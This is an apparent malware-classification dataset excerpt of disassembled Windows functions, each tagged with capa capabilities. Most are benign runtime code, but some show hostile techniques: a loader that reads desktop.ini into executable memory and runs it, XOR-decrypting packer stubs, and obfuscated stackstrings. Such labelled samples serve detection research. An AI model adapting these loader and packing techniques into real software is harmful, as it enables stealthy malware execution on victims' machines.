joyce8/EMBER2024-capa huggingface dataset:
Function at 0x403655
Capabilities:
Receive data
Receive data on socket

Disassembly:
push ebp
mov ebp, esp
push ecx
mov dword [ebp - 4], 0x10
cmp dword [ebp + 0xc], 0
jne 0x40367b
push 0x23
push str.packetio.c
push str.pak___0
call dword [sym.imp.MSVCRT.dll__assert]
add esp, 0xc
cmp dword [ebp + 0x14], 0
jne 0x403696
push 0x24
push str.packetio.c
push str.src___0
call dword [sym.imp.MSVCRT.dll__assert]
add esp, 0xc
lea edx, [ebp - 4]
push edx
mov eax, dword [ebp + 0x14]
push eax
push 0
mov ecx, dword [ebp + 0x10]
push ecx
mov edx, dword [ebp + 0xc]
push edx
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.WSOCK32.dll_recvfrom]
mov esp, ebp
pop ebp
ret

Function at 0x404180
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
push ecx
lea eax, [ebp + 0xc]
mov dword [ebp - 4], eax
mov ecx, dword [ebp - 4]
push ecx
mov edx, dword [ebp + 8]
push edx
mov eax, dword [sym.imp.MSVCRT.dll__iob]
add eax, 0x40
push eax
call dword [sym.imp.MSVCRT.dll_vfprintf]
add esp, 0xc
mov dword [ebp - 4], 0
mov ecx, dword [sym.imp.MSVCRT.dll__iob]
add ecx, 0x40
push ecx
push 0xa
call dword [sym.imp.MSVCRT.dll_putc]
add esp, 8
push 1
call dword [sym.imp.MSVCRT.dll_exit]
mov esp, ebp
pop ebp
ret

Function at 0x4041d0
Capabilities:
Resolve dns

Disassembly:
push ebp
mov ebp, esp
push ecx
cmp dword [ebp + 8], 0
jne 0x4041ef
push 0x1f
push str.lookup_hostname.c
push str.remote___0
call dword [sym.imp.MSVCRT.dll__assert]
add esp, 0xc
cmp dword [ebp + 0xc], 0
jne 0x40420a
push 0x20
push str.lookup_hostname.c
push str.paddr___0
call dword [sym.imp.MSVCRT.dll__assert]
add esp, 0xc
mov edx, dword [ebp + 0xc]
push edx
mov eax, dword [ebp + 8]
push eax
call fcn.004045d0
add esp, 8
test eax, eax
je 0x404225
mov eax, 1
jmp 0x404269
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.WSOCK32.dll_gethostbyname]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
jne 0x40423c
xor eax, eax
jmp 0x404269
push 4
mov edx, dword [ebp - 4]
mov eax, dword [edx + 0xc]
mov ecx, dword [eax]
push ecx
mov edx, dword [ebp + 0xc]
push edx
call sub.MSVCRT.dll_memcpy
add esp, 0xc
mov eax, dword [ebp + 0xc]
mov ecx, dword [eax]
push ecx
call dword [sym.imp.WSOCK32.dll_ntohl]
mov edx, dword [ebp + 0xc]
mov dword [edx], eax
mov eax, 1
mov esp, ebp
pop ebp
ret 8
Function at 0x40513d
Capabilities:
Initialize winsock library

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x298
mov eax, dword [ebp + 0xc]
and eax, 0xff
mov ecx, dword [ebp + 0xc]
and ecx, 0xff
shl ecx, 8
or eax, ecx
mov word [ebp - 8], ax
lea edx, [ebp - 0x198]
push edx
mov ax, word [ebp - 8]
push eax
call dword [sym.imp.WSOCK32.dll_WSAStartup]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
je 0x40519e
push 0x100
lea ecx, [ebp - 0x298]
push ecx
mov edx, dword [ebp - 4]
push edx
call fcn.00405050
push eax
push str.ERROR:_initializing_Winsock___s_
call fcn.00404180
add esp, 8
cmp dword [ebp + 8], 0
je 0x40524e
mov eax, dword [ebp - 0x198]
and eax, 0xffff
sar eax, 8
and eax, 0xff
and eax, 0xff
push eax
mov ecx, dword [ebp - 0x198]
and ecx, 0xff
push ecx
push str.Using_Winsock__d._d
call dword [sym.imp.MSVCRT.dll_printf]
add esp, 0xc
mov edx, dword [ebp - 0x198]
and edx, 0xffff
mov eax, dword [ebp - 0x196]
and eax, 0xffff
cmp edx, eax
je 0x40522e
mov ecx, dword [ebp - 0x196]
and ecx, 0xffff
sar ecx, 8
and ecx, 0xff
and ecx, 0xff
push ecx
mov edx, dword [ebp - 0x196]
and edx, 0xff
push edx
push str.___d._d_available_
call dword [sym.imp.MSVCRT.dll_printf]
add esp, 0xc
push 0x4066f4
call dword [sym.imp.MSVCRT.dll_printf]
add esp, 4
mov eax, dword [sym.imp.MSVCRT.dll__iob]
add eax, 0x20
push eax
call dword [sym.imp.MSVCRT.dll_fflush]
add esp, 4
mov esp, ebp
pop ebp
ret 8
Function at 0x412722
Capabilities:
Allocate thread local storage
Get thread local storage value
Set thread local storage value

Disassembly:
cmp dword [0x4186e0], 0
push ebx
push esi
mov esi, 0x4186e8
jne 0x41274e
call dword [sym.imp.KERNEL32.dll_TlsAlloc]
push esi
mov dword [0x418700], eax
call dword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
mov dword [0x4186e0], 1
push dword [0x418700]
call dword [sym.imp.KERNEL32.dll_TlsGetValue]
mov ebx, eax
test ebx, ebx
jne 0x4127eb
push 0x14
push 8
push dword [0x418068]
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov ebx, eax
test ebx, ebx
je 0x412815
push esi
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov eax, dword [0x4186e4]
test eax, eax
je 0x412790
mov dword [eax], ebx
push edi
push esi
mov dword [ebx + 4], eax
mov dword [0x4186e4], ebx
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
mov esi, dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
lea edi, [ebx + 0x10]
push 0
push 0
push 0x100000
push edi
call esi
push eax
call dword [sym.imp.KERNEL32.dll_GetCurrentThread]
push eax
call esi
push eax
call dword [sym.imp.KERNEL32.dll_DuplicateHandle]
push 8
push 0xffffffffffffffff
push ebx
push 0x41281a
push dword [edi]
lea eax, [ebx + 0xc]
push eax
call dword [sym.imp.KERNEL32.dll_RegisterWaitForSingleObject]
push ebx
push dword [0x418700]
call dword [sym.imp.KERNEL32.dll_TlsSetValue]
pop edi
push 0xc
push 0
push dword [0x418068]
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
test eax, eax
je 0x412815
mov ecx, dword [esp + 0xc]
mov dword [eax + 4], ecx
mov ecx, dword [esp + 0x10]
mov dword [eax + 8], ecx
mov ecx, dword [ebx + 8]
mov dword [eax], ecx
mov dword [ebx + 8], eax
pop esi
pop ebx
ret 8

Function at 0x1000114e
Capabilities:
Allocate or change rwx memory
Create process on windows
Execute shellcode via indirect call
Read file on windows
Terminate process

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push 0x104
mov edi, 0x10003030
push edi
push dword [0x10003020]
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
xor eax, eax
mov word [0x10003036], ax
xor ebx, ebx
movzx ecx, word [eax + 0x10002040]
mov word [eax + 0x10003030], cx
add eax, 2
cmp cx, bx
jne 0x1000117f
push 1
push ebx
push ebx
push edi
push ebx
push ebx
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
xor eax, eax
mov word [0x10003036], ax
movzx ecx, word [eax + str.desktop.ini]
mov word [eax + 0x10003030], cx
add eax, 2
cmp cx, bx
jne 0x100011aa
push 0x40
mov esi, 0x1000
push esi
push esi
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push ebx
push 0x80
push 3
push ebx
push 1
push 0x80000000
push edi
mov dword [0x10003018], eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [0x1000301c], eax
push ebx
cmp eax, 0xffffffff
jne 0x100011fd
call dword [sym.imp.KERNEL32.dll_ExitProcess]
push 0x10003024
push esi
push dword [0x10003018]
push eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
call dword [0x10003018]
pop edi
pop esi
pop ebx
leave
ret 0x10
Function at 0x42e000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
call 0x42e00c
nop
pop eax
nop
nop
nop
nop
nop
add eax, 0x403ac5
nop
sub eax, 0x403a6b
nop
nop
nop
nop
mov ebx, dword [eax]
nop
nop
mov ecx, dword [eax + 4]
nop
nop
mov edx, dword [eax + 8]
nop
nop
nop
nop
xor dword [ebx], edx
nop
nop
add ebx, 4
nop
nop
nop
cmp ebx, ecx
nop
nop
nop
nop
nop
nop
jl 0x42e030
nop
nop
add eax, 0xc
nop
nop
nop
nop
nop
nop
cmp dword [eax], 0
nop
nop
jne 0x42e01e
nop
nop
nop
nop
popal
nop
nop
nop
jmp fcn.00401219
Function at 0x425393
Capabilities:
Get graphical window text

Disassembly:
push 4
mov eax, 0x52ac9d
call fcn.0050d769
mov esi, ecx
cmp dword [esi + 0x6c], 0
jne 0x4253b8
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [esi + 0x20]
call dword [sym.imp.USER32.dll_GetWindowTextW]
jmp 0x42540a
call fcn.0041b551
push eax
lea ecx, [ebp - 0x10]
call fcn.0040dcd0
mov ecx, dword [esi + 0x6c]
mov eax, dword [ecx]
and dword [ebp - 4], 0
lea edx, [ebp - 0x10]
push edx
call dword [eax + 0x8c]
push 0xffffffffffffffff
push dword [ebp - 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
call fcn.0050d29d
push eax
call fcn.00401010
add esp, 0x14
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_lstrlenW]
mov ecx, dword [ebp - 0x10]
add ecx, 0xfffffff0
mov esi, eax
call fcn.004012b0
mov eax, esi
call fcn.0050d841
ret 8

Function at 0x428e7a
Capabilities:
Get common file path

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x210
mov eax, dword [0x58a6d0]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push edi
mov edi, dword [ebp + 8]
mov esi, 0x105
push esi
lea eax, [ebp - 0x210]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
test eax, eax
jne 0x428eaf
xor eax, eax
jmp 0x428f02
lea eax, [ebp - 0x210]
push eax
call fcn.0050d36a
cmp word [ebp + eax*2 - 0x212], 0x5c
pop ecx
je 0x428ee0
push 0x55e2ac
lea eax, [ebp - 0x210]
push esi
push eax
call fcn.0050f8cc
add esp, 0xc
test eax, eax
jne 0x428eab
push edi
lea eax, [ebp - 0x210]
push esi
push eax
call fcn.0050f8cc
add esp, 0xc
test eax, eax
jne 0x428eab
lea eax, [ebp - 0x210]
push eax
call fcn.004160b6
pop ecx
mov ecx, dword [ebp - 4]
pop edi
xor ecx, ebp
pop esi
call fcn.0050c1b3
leave
ret

Function at 0x454353
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push esi
mov esi, dword [ebp + 0xc]
push edi
mov dword [ebp - 4], ecx
test esi, esi
jne 0x45436d
call fcn.004210b9
mov esi, dword [eax + 0xc]
push dword [0x58eeb8]
push dword [ebp + 8]
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceW]
mov edi, eax
test edi, edi
jne 0x45438b
xor eax, eax
pop edi
pop esi
leave
ret 8
push edi
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov dword [ebp + 0xc], eax
test eax, eax
je 0x454383
push ebx
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov ebx, eax
test ebx, ebx
jne 0x4543b8
xor esi, esi
push dword [ebp + 0xc]
call dword [sym.imp.KERNEL32.dll_FreeResource]
mov eax, esi
pop ebx
jmp 0x454385
push edi
push esi
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov ecx, dword [ebp - 4]
push eax
push ebx
call fcn.00454281
mov esi, eax
jmp 0x4543aa

Function at 0x469ede
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push eax
push esi
push dword [ebp + 8]
call fcn.00469b58
add esp, 0x10
mov dword [ebp - 0x88], eax
call fcn.00469b93
aas
and byte [ebp - 0x17ba72cd], bl
mov byte [ebp - 0x18], bl
pop ebp
call 0xe9a42754
Function at 0x469efe
Capabilities:
Contain obfuscated stackstrings

Disassembly:
pop ebp
call 0xe9a42754
mov byte [ebp - 0x16], 0x40
mov byte [ebp - 0x15], bl
mov byte [ebp - 0x14], 0xe9
mov byte [ebp - 0x13], 0xd6
mov byte [ebp - 0x12], 0xcd
mov byte [ebp - 0x11], 0xcb
mov byte [ebp - 0x10], 0xca
mov byte [ebp - 0xf], 0xde
mov byte [ebp - 0xe], 0xd3
mov byte [ebp - 0xd], 0xf9
mov byte [ebp - 0xc], 0xcd
mov byte [ebp - 0xb], 0xda
mov byte [ebp - 0xa], 0xda
mov byte [ebp - 9], 0xbf
call fcn.00469ba3
push eax
push esi
push dword [ebp + 8]
call fcn.00469b58
mov dword [ebp - 8], eax
lea eax, [ebp - 0x6c]
inc ebp
xchg esp, eax

Function at 0x469f8b
Capabilities:
Contain obfuscated stackstrings

Disassembly:
inc ebp
mov dword [0xa445c624], eax
and al, dh
inc ebp
movsd dword es:[edi], dword [esi]
xor eax, 0x41a645c6
call fcn.00469ba3
push eax
push esi
push dword [ebp + 8]
call fcn.00469b58
mov dword [ebp - 0xbc], eax
lea eax, [ebp - 0x2c]
mov byte [ebp - 0x2c], bl
push eax
mov byte [ebp - 0x2b], bl
mov byte [ebp - 0x2a], 0xd4
mov byte [ebp - 0x29], bl
mov byte [ebp - 0x28], 0x67
mov byte [ebp - 0x27], 0x44
mov byte [ebp - 0x26], 0x4a
mov byte [ebp - 0x25], 0x4f
mov byte [ebp - 0x24], 0x67
mov byte [ebp - 0x23], 0x42
mov byte [ebp - 0x22], 0x49
mov byte [ebp - 0x21], 0x59
mov byte [ebp - 0x20], 0x4a
mov byte [ebp - 0x1f], 0x59
mov byte [ebp - 0x1e], 0x52
mov byte [ebp - 0x1d], 0x6a
mov byte [ebp - 0x1c], 0x2b
call fcn.00469ba3
push eax
push esi
push dword [ebp + 8]
call fcn.00469b58
add esp, 0x30
mov dword [ebp - 0xb8], eax
call fcn.00469b93
xor edi, esi
mov dword [0x7c9d881b], eax
invalid

Function at 0x487c82
Capabilities:
Resolve function by parsing pe exports

Disassembly:
mov edi, edi
push esi
mov esi, ecx
call fcn.004191a8
call fcn.0041613c
cmp eax, esi
pop esi
jne 0x487c9e
mov ecx, 0x58de78
jmp fcn.00429a94
ret

Function at 0x4f006d
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ebx
push esi
mov esi, dword [ebp + 8]
test byte [esi + 4], 1
push edi
mov ebx, ecx
je 0x4f0085
mov edi, dword [esi + 0xc]
jmp 0x4f00c5
push 5
push dword [esi + 0xc]
push dword [esi + 8]
call dword [sym.imp.KERNEL32.dll_FindResourceW]
mov edi, eax
test edi, edi
jne 0x4f009e
call fcn.00423e54
push edi
push dword [esi + 8]
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov edi, eax
test edi, edi
jne 0x4f00b3
call fcn.00423e54
push edi
call dword [sym.imp.KERNEL32.dll_LockResource]
mov edi, eax
test edi, edi
jne 0x4f00c5
call fcn.00423e54
call fcn.004210b9
cmp dword [eax + 0x3c], 0
je 0x4f00da
push edi
mov ecx, ebx
call fcn.004eee97
mov edi, eax
push dword [ebp + 0xc]
push edi
call fcn.004eff87
mov dword [ebp + 8], eax
mov eax, dword [ebx + 0x7c]
test eax, eax
je 0x4f00f8
push eax
call dword [sym.imp.KERNEL32.dll_GlobalFree]
and dword [ebx + 0x7c], 0
mov eax, dword [ebp + 8]
test eax, eax
je 0x4f0104
mov edi, eax
mov dword [ebx + 0x7c], eax
or dword [esi + 4], 1
mov dword [esi + 0xc], edi
pop edi
pop esi
pop ebx
pop ebp
ret 8

Function at 0x50c1b3
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x58a6d0]
jne 0x50c1bd
repz ret
jmp fcn.005140a3
Function at 0x521d11
Capabilities:
Encode data using add xor sub operations
Encode data using xor

Disassembly:
push esp
push 4
call fcn.00409350
add esp, 8
push 0x300033
call fcn.00521f18
push 0x300034
call fcn.00521f18
mov edx, dword [esp + 8]
push 0x300035
call fcn.00521f18
mov ecx, dword [esp + 0xc]
push 0x300036
call fcn.00521f18
mov eax, dword [esp + 4]
push 0x300037
call fcn.00521f18
push ebx
push 0x300038
call fcn.00521f18
push esi
push 0x300039
call fcn.00521f18
push edi
push 0x30003a
call fcn.00521f18
lea edi, [0x4ca1f4]
push 0x30003b
call fcn.00521f18
not eax
push 0x30003c
call fcn.00521f18
sub ecx, 4
jb 0x521e69
push 0x30003f
call fcn.00521f18
mov ebx, dword [edx]
push 0x300040
call fcn.00521f18
xor ebx, eax
push 0x300041
call fcn.00521f18
movzx esi, bl
push 0x300042
call fcn.00521f18
mov eax, dword [edi + esi*4 + 0xc00]
push 0x300043
call fcn.00521f18
shr ebx, 8
push 0x300044
call fcn.00521f18
movzx esi, bl
push 0x300045
call fcn.00521f18
xor eax, dword [edi + esi*4 + 0x800]
push 0x300046
call fcn.00521f18
shr ebx, 8
push 0x300047
call fcn.00521f18
movzx esi, bl
push 0x300048
call fcn.00521f18
xor eax, dword [edi + esi*4 + 0x400]
push 0x300049
call fcn.00521f18
shr ebx, 8
push 0x30004a
call fcn.00521f18
xor eax, dword [edi + ebx*4]
push 0x30004b
call fcn.00521f18
add edx, 4
push 0x30004c
call fcn.00521f18
sub ecx, 4
jae 0x521da3
push 0x30004f
call fcn.00521f18
add ecx, 4
je 0x521ec7
push 0x300052
call fcn.00521f18
movzx ebx, byte [edx]
push 0x300053
call fcn.00521f18
xor bl, al
push 0x300054
call fcn.00521f18
shr eax, 8
push 0x300055
call fcn.00521f18
xor eax, dword [edi + ebx*4]
push 0x300056
call fcn.00521f18
add edx, 1
push 0x300057
call fcn.00521f18
sub ecx, 1
jne 0x521e78
push 0x30005a
call fcn.00521f18
pop edi
push 0x30005b
call fcn.00521f18
pop esi
push 0x30005c
call fcn.00521f18
pop ebx
push 0x30005d
call fcn.00521f18
not eax
push 0x30005e
call fcn.00521f18
jmp 0x521f0c
push edx
push eax
call fcn.00409480
pop eax
pop edx
ret 0xc

Function at 0x521f18
Capabilities:
Packed with generic packer

Disassembly:
pushal
pushfd
push esp
push dword [esp + 0x2c]
call fcn.00408810
add esp, 8
or eax, eax
je 0x521f30
jmp 0x4f05b2
popfd
popal
ret 4

Function at 0x42e000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
nop
mov eax, section..text
mov ebx, 0x407ef8
nop
nop
mov ecx, 0x3a571de9
nop
test eax, eax
nop
nop
nop
je 0x42e04e
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
inc eax
nop
inc eax
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
nop
jne 0x42e024
nop
nop
nop
mov eax, section..data
mov ebx, 0x42cd70
nop
mov ecx, 0x71d827c1
nop
nop
test eax, eax
nop
nop
nop
nop
nop
nop
nop
je 0x42e084
xor dword [eax], ecx
nop
nop
nop
nop
nop
add eax, 4
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
jne 0x42e06c
nop
nop
popal
nop
nop
nop
nop
nop
jmp 0x401219
Function at 0x40363c
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
movzx eax, word [0x460020]
mov dword [ebp - 8], eax
lea eax, [ebp - 4]
push eax
push 1
push 0
push 0x4036d4
push 0x80000002
call sub.advapi32.dll_RegOpenKeyExA
test eax, eax
jne 0x4036b4
xor eax, eax
push ebp
push 0x4036ad
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [ebp - 0xc], 4
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 8]
push eax
push 0
push 0
push 0x4036f0
mov eax, dword [ebp - 4]
push eax
call sub.advapi32.dll_RegQueryValueExA
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4036b4
mov eax, dword [ebp - 4]
push eax
call sub.advapi32.dll_RegCloseKey
ret
movzx eax, word [0x460020]
and ax, 0xffc0
movzx edx, word [ebp - 8]
and dx, 0x3f
or ax, dx
mov word [0x460020], ax
mov esp, ebp
pop ebp
ret

Function at 0x4044c8
Capabilities:
Write file on windows

Disassembly:
push ecx
cmp byte [0x462048], 0
je 0x404529
cmp word [0x46221c], 0xd7b2
jne 0x4044f1
cmp dword [0x462224], 0
jbe 0x4044f1
mov eax, 0x462218
call dword [0x462234]
push 0
lea eax, [esp + 4]
push eax
push 0x1e
push str.Runtime_error_____at_00000000
push 0xfffffffffffffff5
call sub.kernel32.dll_GetStdHandle
push eax
call sub.kernel32.dll_WriteFile
push 0
lea eax, [esp + 4]
push eax
push 2
push 0x404550
push 0xfffffffffffffff5
call sub.kernel32.dll_GetStdHandle
push eax
call sub.kernel32.dll_WriteFile
pop edx
ret
cmp byte [0x46002c], 0
jne 0x404545
push 0
push str.Error
push str.Runtime_error_____at_00000000
push 0
call sub.user32.dll_MessageBoxA
pop edx
ret
Function at 0x4080bc
Capabilities:
Encode data using xor

Disassembly:
push ebx
push esi
push edi
mov esi, eax
mov eax, edx
test esi, esi
je 0x40814c
mov edx, dword [esi - 4]
mov edi, eax
test edx, edx
jle 0x40814c
mov ecx, dword [eax]
mov ebx, edx
test ecx, ecx
je 0x4080ff
test edx, 3
jne 0x4080ee
xor edx, dword [ecx - 4]
cmp edx, 3
jbe 0x4080f9
jmp 0x4080ff
or edx, 2
xor edx, dword [ecx - 4]
cmp edx, 1
ja 0x4080ff
cmp dword [ecx - 8], 1
je 0x408109
mov edx, ebx
or edx, 3
call fcn.00404d94
mov edi, dword [edi]
mov dword [edi - 4], ebx
mov byte [edi + ebx], 0
add ebx, 0xffffffff
and ebx, 0xfffffffc
mov eax, dword [esi + ebx]
mov ecx, eax
or eax, 0x80808080
mov edx, eax
sub eax, 0x7b7b7b7b
xor edx, ecx
or eax, 0x80808080
sub eax, 0x66666666
and eax, edx
shr eax, 2
xor eax, ecx
mov dword [edi + ebx], eax
mov eax, dword [esi + ebx - 4]
sub ebx, 4
jge 0x40811b
pop edi
pop esi
pop ebx
ret
pop edi
pop esi
pop ebx
jmp fcn.00404648

Function at 0x408158
Capabilities:
Encode data using xor

Disassembly:
push ebx
push esi
push edi
mov esi, eax
mov eax, edx
test esi, esi
je 0x4081e8
mov edx, dword [esi - 4]
mov edi, eax
test edx, edx
jle 0x4081e8
mov ecx, dword [eax]
mov ebx, edx
test ecx, ecx
je 0x40819b
test edx, 3
jne 0x40818a
xor edx, dword [ecx - 4]
cmp edx, 3
jbe 0x408195
jmp 0x40819b
or edx, 2
xor edx, dword [ecx - 4]
cmp edx, 1
ja 0x40819b
cmp dword [ecx - 8], 1
je 0x4081a5
mov edx, ebx
or edx, 3
call fcn.00404d94
mov edi, dword [edi]
mov dword [edi - 4], ebx
mov byte [edi + ebx], 0
add ebx, 0xffffffff
and ebx, 0xfffffffc
mov eax, dword [esi + ebx]
mov ecx, eax
or eax, 0x80808080
mov edx, eax
sub eax, 0x5b5b5b5b
xor edx, ecx
or eax, 0x80808080
sub eax, 0x66666666
and eax, edx
shr eax, 2
xor eax, ecx
mov dword [edi + ebx], eax
mov eax, dword [esi + ebx - 4]
sub ebx, 4
jge 0x4081b7
pop edi
pop esi
pop ebx
ret
pop edi
pop esi
pop ebx
jmp fcn.00404648

Function at 0x40b428
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffff00
push ebx
push esi
mov esi, ecx
mov ebx, dword [ebp + 8]
push pe_nt_image_headers32
lea ecx, [ebp - 0x100]
push ecx
push edx
push eax
call sub.kernel32.dll_GetLocaleInfoA_1
test eax, eax
jle 0x40b461
mov ecx, eax
dec ecx
lea edx, [ebp - 0x100]
mov eax, ebx
call fcn.00404738
jmp 0x40b46a
mov eax, ebx
mov edx, esi
call fcn.0040469c
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4

Function at 0x40b474
Capabilities:
Get geographical location

Disassembly:
push ebx
push esi
push edi
push ecx
mov ebx, ecx
mov esi, edx
mov edi, eax
push 2
lea eax, [esp + 4]
push eax
push esi
push edi
call sub.kernel32.dll_GetLocaleInfoA_1
test eax, eax
jle 0x40b496
movzx eax, byte [esp]
jmp 0x40b498
mov eax, ebx
pop edx
pop edi
pop esi
pop ebx
ret
Function at 0x40bb28
Capabilities:
Write file on windows

Disassembly:
add esp, 0xfffffbbc
push 0x400
lea ecx, [esp + 0x48]
call 0x40b9a0
mov eax, dword [0x461c24]
cmp byte [eax], 0
je 0x40bba4
mov eax, dword [0x461a28]
call fcn.00403004
call fcn.00402de8
lea eax, [esp + 0x44]
push eax
lea eax, [esp + 0x48]
push eax
call sub.user32.dll_CharToOemA
push 0
lea eax, [esp + 4]
push eax
lea eax, [esp + 0x4c]
call fcn.00408bac
push eax
lea eax, [esp + 0x50]
push eax
push 0xfffffffffffffff4
call sub.kernel32.dll_GetStdHandle_1
push eax
call sub.kernel32.dll_WriteFile_1
push 0
lea eax, [esp + 4]
push eax
push 2
push 0x40bbec
push 0xfffffffffffffff4
call sub.kernel32.dll_GetStdHandle_1
push eax
call sub.kernel32.dll_WriteFile_1
jmp 0x40bbda
push 0x40
lea eax, [esp + 8]
push eax
mov eax, dword [0x4619cc]
mov eax, dword [eax + 4]
push eax
mov eax, dword [0x4647f4]
call fcn.004058b4
push eax
call sub.user32.dll_LoadStringA_1
push 0x2010
lea eax, [esp + 8]
push eax
lea eax, [esp + 0x4c]
push eax
push 0
call sub.user32.dll_MessageBoxA_1
add esp, 0x444
ret

Function at 0x40c438
Capabilities:
Get file version info

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffe8
push ebx
xor edx, edx
mov dword [ebp - 4], edx
mov ebx, eax
xor eax, eax
push ebp
push 0x40c50e
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [ebp - 8], 0xffffffff
lea eax, [ebp - 4]
mov edx, ebx
call fcn.004046e0
lea eax, [ebp - 4]
call fcn.00404b5c
lea eax, [ebp - 0xc]
push eax
mov eax, dword [ebp - 4]
call fcn.00404b0c
push eax
call sub.version.dll_GetFileVersionInfoSizeA
mov ebx, eax
test ebx, ebx
je 0x40c4f8
mov eax, ebx
call fcn.00402c8c
mov dword [ebp - 0x10], eax
xor eax, eax
push ebp
push 0x40c4f1
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 0x10]
push eax
push ebx
mov eax, dword [ebp - 0xc]
push eax
mov eax, dword [ebp - 4]
call fcn.00404b0c
push eax
call sub.version.dll_GetFileVersionInfoA
test eax, eax
je 0x40c4db
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x14]
push eax
push 0x40c520
mov eax, dword [ebp - 0x10]
push eax
call sub.version.dll_VerQueryValueA
test eax, eax
je 0x40c4db
mov eax, dword [ebp - 0x14]
mov eax, dword [eax + 8]
mov dword [ebp - 8], eax
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40c4f8
mov eax, dword [ebp - 0x10]
call fcn.00402ca8
ret
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40c515
lea eax, [ebp - 4]
call fcn.00404648
ret